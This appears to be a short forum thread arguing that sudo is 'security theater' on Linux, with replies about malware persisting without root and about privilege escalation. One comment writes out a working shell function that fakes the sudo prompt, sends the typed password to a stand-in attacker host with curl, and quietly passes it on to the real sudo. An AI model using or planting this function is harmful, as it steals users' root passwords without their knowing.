Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}

On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.

Until it overrides sudo in your $PATH to install malware after you enter your password later.

There a million ways that malware can persist without root.

You should assume other LPEs exist though

There numerous ways to root Linux over the decades

What leads people to believe things like this?